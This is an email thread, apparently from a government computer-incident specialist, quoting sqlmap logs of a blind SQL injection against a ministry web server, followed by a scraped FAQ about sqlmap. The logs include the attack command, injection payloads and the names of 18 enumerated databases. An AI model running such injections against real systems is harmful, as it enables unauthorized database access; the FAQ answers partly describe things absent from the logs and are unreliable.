[15:24:07] [INFO] checking if the injection point on URI parameter '#1*' is a false
positive
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)?
[y/N] n
sqlmap identified the following injection point(s) with a total of 103 HTTP(s)
requests:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: [Link]
%E0%A6%A8%E0%A7%8D%E0%A6%A4%E0%A7%8D%E0%A6%B0%E0%A6%BF%E0%A6%AA%E0%A6%B0%E0%A6%BF
%E0%A6%B7%E0%A6%A6 %E0%A6%AC%E0%A6%BF%E0%A6%AD%E0%A6%BE%E0%A6%97" AND 2876=2876 AND
"PBzB"="PBzB
---
[15:24:15] [INFO] testing MySQL
[15:24:15] [INFO] confirming MySQL
[15:24:16] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.5.9
back-end DBMS: MySQL >= 5.0.0
[15:24:16] [INFO] fetching database names
[15:24:16] [INFO] fetching number of databases
[15:24:16] [WARNING] running in a single-thread mode. Please consider usage of
option '--threads' for faster data retrieval
[15:24:16] [INFO] retrieved: 18
[15:24:18] [INFO] retrieved: information_schema
[15:24:51] [INFO] retrieved: a2iweb_db
[15:25:21] [INFO] retrieved: authorizations
[15:25:57] [INFO] retrieved: ecommunication
[15:26:20] [INFO] retrieved: form
[15:26:56] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is
going to retry the request(s)
builder
[15:27:07] [INFO] retrieved: mysql
[15:27:15] [INFO] retrieved: ness
[15:27:23] [INFO] retrieved: npf_bari
[15:27:36] [INFO] retrieved: npf_ctg
[15:27:47] [INFO] retrieved: npf_khul
[15:28:00] [INFO] retrieved: npf_syl
[15:28:11] [INFO] retrieved: npf_sylhettest
[15:28:32] [INFO] retrieved: npfministry
[15:28:49] [INFO] retrieved: npfministryadmin
[15:29:14] [INFO] retrieved: org056101030026000000
[15:29:44] [INFO] retrieved: org103000030026000000
[15:30:16] [INFO] retrieved: performance_schema
[15:30:41] [INFO] retrieved: test
available databases [18]:
[*] a2iweb_db
[*] authorizations
[*] ecommunication
[*] formbuilder
[*] information_schema
[*] mysql
[*] ness
[*] npf_bari
[*] npf_ctg
[*] npf_khul
[*] npf_syl
[*] npf_sylhettest
[*] npfministry
[*] npfministryadmin
[*] org056101030026000000
[*] org103000030026000000
[*] performance_schema
[*] test

[15:30:48] [INFO] fetched data logged to text files under


'/root/.sqlmap/output/[Link]'

[*] shutting down at 15:30:48

root@kali-1:~#

Regards,

Debashis Pal
Computer Incident Handling Specialist
Leveraging ICT Project (World Bank Funded Project)
Ministry of Posts, Telecommunication and Information Technology
Mob : +88-01872558555

-----Computer Incident Handling Specialist/BCC wrote: -----


To: Computer Incident Helpdesk & Administration Associate/BCC@BCC
From: Computer Incident Handling Specialist/BCC
Date: 03/27/2016 03:22PM
Subject: Re: bangladesh SQL [parameter bases] -- blind boolena

root@kali-1:~# sqlmap -u
"[Link]
%E0%A6%A4%E0%A7%80%E0%A7%9F%20%E0%A6%B0%E0%A6%BE%E0%A6%9C%E0%A6%B8%E0%A7%8D
%E0%A6%AC%20%E0%A6%AC%E0%A7%8B%E0%A6%B0%E0%A7%8D%E0%A6%A1" -p lang --level 3 --
risk 3 --dbms=mysql --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-201602140a89}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| [Link]

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not
responsible for any misuse or damage caused by this program

[*] starting at 14:51:18

[14:51:18] [WARNING] you've provided target URL without any GET parameters (e.g.
[Link]/[Link]?id=1) and without providing any POST parameters through --
data option
do you want to try URI injections in the target URL itself? [Y/n/q] y
[14:51:20] [INFO] testing connection to the target URL
[14:51:20] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[14:51:21] [INFO] testing if the target URL is stable
[14:51:21] [INFO] target URL is stable
[14:51:21] [INFO] testing if URI parameter '#1*' is dynamic
[14:51:22] [WARNING] URI parameter '#1*' does not appear dynamic
[14:51:22] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might
not be injectable
[14:51:22] [INFO] heuristic (XSS) test shows that URI parameter '#1*' might be
vulnerable to XSS attacks
[14:51:22] [INFO] testing for SQL injection on URI parameter '#1*'
[14:51:22] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:51:22] [WARNING] reflective value(s) found and filtering out
[14:51:30] [INFO] URI parameter '#1*' seems to be 'AND boolean-based blind - WHERE
or HAVING clause' injectable (with --string="\u0986\u09df\u0995\u09b0 \u09a8\u09bf\
u09ac\u09a8\u09cd\u09a7\u09a8")
[14:51:30] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY
or GROUP BY clause'
[14:52:00] [WARNING] there is a possibility that the target (or WAF) is dropping
'suspicious' requests
[14:52:00] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is
going to retry the request(s)
[14:52:20] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[14:52:21] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause'
[14:52:51] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is
going to retry the request(s)
[14:54:21] [CRITICAL] connection timed out to the target URL or proxy
[14:54:21] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY
or GROUP BY clause (EXTRACTVALUE)'
[14:54:21] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (EXTRACTVALUE)'
[14:54:21] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY
or GROUP BY clause (UPDATEXML)'
[14:54:22] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (UPDATEXML)'
[14:54:22] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY
or GROUP BY clause'
[14:54:52] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is
going to retry the request(s)
[14:55:49] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[14:55:50] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE, HAVING clause'
[14:56:20] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is
going to retry the request(s)
[14:56:58] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[14:56:59] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause'
[14:56:59] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE
(EXTRACTVALUE)'
[14:57:00] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[14:57:00] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace
(EXTRACTVALUE)'
[14:57:00] [INFO] testing 'MySQL inline queries'
[14:57:30] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is
going to retry the request(s)
[14:57:35] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[14:57:36] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[14:57:36] [CRITICAL] considerable lagging has been detected in connection
response(s). Please use as high value for option '--time-sec' as possible (e.g. 10
or more)
[14:57:47] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[14:57:48] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT)'
[14:58:18] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
[14:58:48] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[14:59:18] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[14:59:19] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[14:59:49] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (SELECT)'
[15:00:19] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT - comment)'
[15:00:49] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (SELECT - comment)'
[15:01:19] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
[15:01:29] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind'
[15:01:59] [INFO] testing 'MySQL <= 5.0.11 AND time-based blind (heavy query)'
[15:02:02] [INFO] testing 'MySQL <= 5.0.11 OR time-based blind (heavy query)'
[15:02:05] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (SELECT)'
[15:02:35] [INFO] testing 'MySQL AND time-based blind (ELT)'
[15:02:45] [INFO] testing 'MySQL OR time-based blind (ELT)'
[15:03:15] [INFO] testing 'MySQL >= 5.1 time-based blind (heavy query) - PROCEDURE
ANALYSE (EXTRACTVALUE)'
[15:03:16] [INFO] testing 'MySQL >= 5.0.12 time-based blind - Parameter replace'
[15:03:16] [INFO] testing 'MySQL >= 5.0.12 time-based blind - Parameter replace
(SELECT)'
[15:03:16] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[15:03:16] [INFO] automatically extending ranges for UNION query injection
technique tests as there is at least one other (potential) technique found
[15:03:16] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending the
range for current UNION query injection technique test
[15:03:17] [INFO] target URL appears to have 4 columns in query
[15:03:47] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is
going to retry the request(s)
[15:03:47] [WARNING] most probably web server instance hasn't recovered yet from
previous timed based payload. If the problem persists please wait for few minutes
and rerun without flag T in option '--technique' (e.g. '--flush-session --
technique=BEUS') or try to lower the value of option '--time-sec' (e.g. '--time-
sec=2')
[15:05:17] [CRITICAL] connection timed out to the target URL or proxy
[15:05:35] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:05:36] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns'
[15:05:38] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:05:39] [INFO] testing 'Generic UNION query (NULL) - 22 to 40 columns'
[15:05:40] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:05:41] [INFO] testing 'Generic UNION query (random number) - 22 to 40 columns'
[15:05:41] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:05:42] [INFO] testing 'Generic UNION query (NULL) - 42 to 60 columns'
[15:05:43] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:05:44] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[15:05:46] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:05:47] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns'
[15:05:47] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:05:48] [INFO] testing 'MySQL UNION query (NULL) - 22 to 40 columns'
[15:05:49] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:05:50] [INFO] testing 'MySQL UNION query (random number) - 22 to 40 columns'
[15:05:51] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:05:52] [INFO] testing 'MySQL UNION query (NULL) - 42 to 60 columns'
[15:05:53] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:05:54] [INFO] checking if the injection point on URI parameter '#1*' is a false
positive
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)?
[y/N] n
sqlmap identified the following injection point(s) with a total of 78 HTTP(s)
requests:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: [Link]
%E0%A6%BE%E0%A6%A4%E0%A7%80%E0%A7%9F %E0%A6%B0%E0%A6%BE%E0%A6%9C%E0%A6%B8%E0%A7%8D
%E0%A6%AC %E0%A6%AC%E0%A7%8B%E0%A6%B0%E0%A7%8D%E0%A6%A1" AND 9563=9563 AND
"tEaT"="tEaT
---
[15:06:21] [INFO] testing MySQL
[15:06:21] [INFO] confirming MySQL
[15:06:22] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.5.9
back-end DBMS: MySQL >= 5.0.0
[15:06:22] [INFO] fetching database names
[15:06:22] [INFO] fetching number of databases
[15:06:22] [WARNING] running in a single-thread mode. Please consider usage of
option '--threads' for faster data retrieval
[15:06:22] [INFO] retrieved: 18
[15:06:24] [INFO] retrieved: information_schema
[15:06:51] [INFO] retrieved: a2iweb_db
[15:07:14] [INFO] retrieved: authorizations
[15:07:35] [INFO] retrieved: ecommunication
[15:07:57] [INFO] retrieved: formbuilder
[15:08:14] [INFO] retrieved: mysql
[15:08:22] [INFO] retrieved: ness
[15:08:29] [INFO] retrieved: npf_bari
[15:08:42] [INFO] retrieved: npf_ctg
[15:08:54] [INFO] retrieved: npf_khul
[15:09:08] [INFO] retrieved: npf_syl
[15:09:20] [INFO] retrieved: npf_sylhettest
[15:09:41] [INFO] retrieved: npfministry
[15:10:00] [INFO] retrieved: npfministryadmin
[15:10:24] [INFO] retrieved: org056101030026000000
[15:10:54] [INFO] retrieved: org103000030026000000
[15:11:25] [INFO] retrieved: performance_schema
[15:11:50] [INFO] retrieved: test
available databases [18]:
[*] a2iweb_db
[*] authorizations
[*] ecommunication
[*] formbuilder
[*] information_schema
[*] mysql
[*] ness
[*] npf_bari
[*] npf_ctg
[*] npf_khul
[*] npf_syl
[*] npf_sylhettest
[*] npfministry
[*] npfministryadmin
[*] org056101030026000000
[*] org103000030026000000
[*] performance_schema
[*] test

[15:11:57] [INFO] fetched data logged to text files under


'/root/.sqlmap/output/[Link]'

[*] shutting down at 15:11:57

root@kali-1:~#

Common questions

Powered by AI

For MySQL database testing, sqlmap employs various SQL injection techniques, including error-based, time-based blind, boolean-based blind, UNION query, stacked queries, and inline queries. Error-based techniques involve WHERE, HAVING, ORDER BY, or GROUP BY clauses, while time-based techniques may use SELECT statements with or without comments, and boolean-based techniques utilize WHERE or HAVING clauses. UNION queries are tested with different column ranges, and stacked queries are tested on various versions of MySQL .

Sqlmap tests a URI parameter for SQL injection by using payloads and analyzing the response for reflection of injected values. For instance, the document shows sqlmap uses an 'AND boolean-based blind - WHERE or HAVING clause' payload and checks if reflective values are found, indicating vulnerability. It also employs heuristic tests to confirm dynamic behavior and potential XSS vulnerabilities .

Testing both AND and OR boolean-based blind SQL injections plays a crucial role in vulnerability assessments by ensuring a comprehensive examination of how logical combinations affect query execution. AND-based injections help reveal if a condition must be true for a page to load properly, while OR-based injections test if a condition can be false and still produce a meaningful response. Together, they enable testers to understand the intricacies of query logic and the database’s reaction to different logical structures .

When sqlmap detects lagging in connection responses, it advises using a high value for the '--time-sec' option to allow for extended response times. This measure ensures that timeouts due to network latency or database processing delays do not prematurely terminate the test. Alternatively, adjusting the execution flow by extending waiting times or modifying techniques helps counteract lag-induced issues .

Several challenges when using sqlmap for testing SQL injection on MySQL are highlighted in the document. These include connection timeouts to the target URL or proxy, user aborts during the detection phase, stable target URL testing, detection of WAF/IPS/IDS protection, and recognizing non-injectable parameters. These issues can result in additional troubleshooting steps, such as increasing time-sec values for connection responses and addressing false positives or negatives in injection point testing .

Different sqlmap techniques for 'heavy query' and 'comment' involve evaluating how the database handles complex or extensive queries and comments within query structures. Heavy queries test the database's performance under load and can reveal time-based vulnerabilities, while comment testing determines if injecting SQL comments affects execution or validation of injected queries. This distinction allows for identifying specific vulnerabilities related to query complexity and comment handling in the SQL syntax .

Sqlmap manages potential false positives during the SQL injection assessment by rechecking identified injection points with specific heuristic and payload tests that confirm dynamic behavior or vulnerability. If a URI parameter is labeled vulnerable, sqlmap allows for further testing while providing the option to bypass additional checks if deemed unnecessary. This approach helps validate initial findings and reduces the risk of erroneous conclusions .

Running sqlmap in single-thread mode can significantly affect data retrieval efficiency, resulting in slower performance and longer times to fetch database names and contents due to sequential execution. The document suggests using the '--threads' option to enable multi-threading for faster data retrieval. Single-threading may hinder timely detection of vulnerabilities when multiple tests are performed simultaneously .

Sqlmap tests for different DBMS like PostgreSQL, MS SQL Server, and SQLite to accommodate the diverse SQL syntaxes, functions, and security mechanisms unique to each system. This versatility allows for identification of vulnerabilities specific to each DBMS environment, ensuring a broad spectrum of SQL injection possibilities are covered. Each DBMS requires tailored injection techniques due to differences in error reporting, data handling, and query processing .

Sqlmap determines the number of columns in a UNION query by automatically extending the range of column tests if other potential techniques are found. It uses the ORDER BY technique to reduce time by narrowing down the possible number of columns required in the query, thereby optimizing the UNION query injection tests. This efficiency allows for greater accuracy and speed in determining the correct number of columns .

You might also like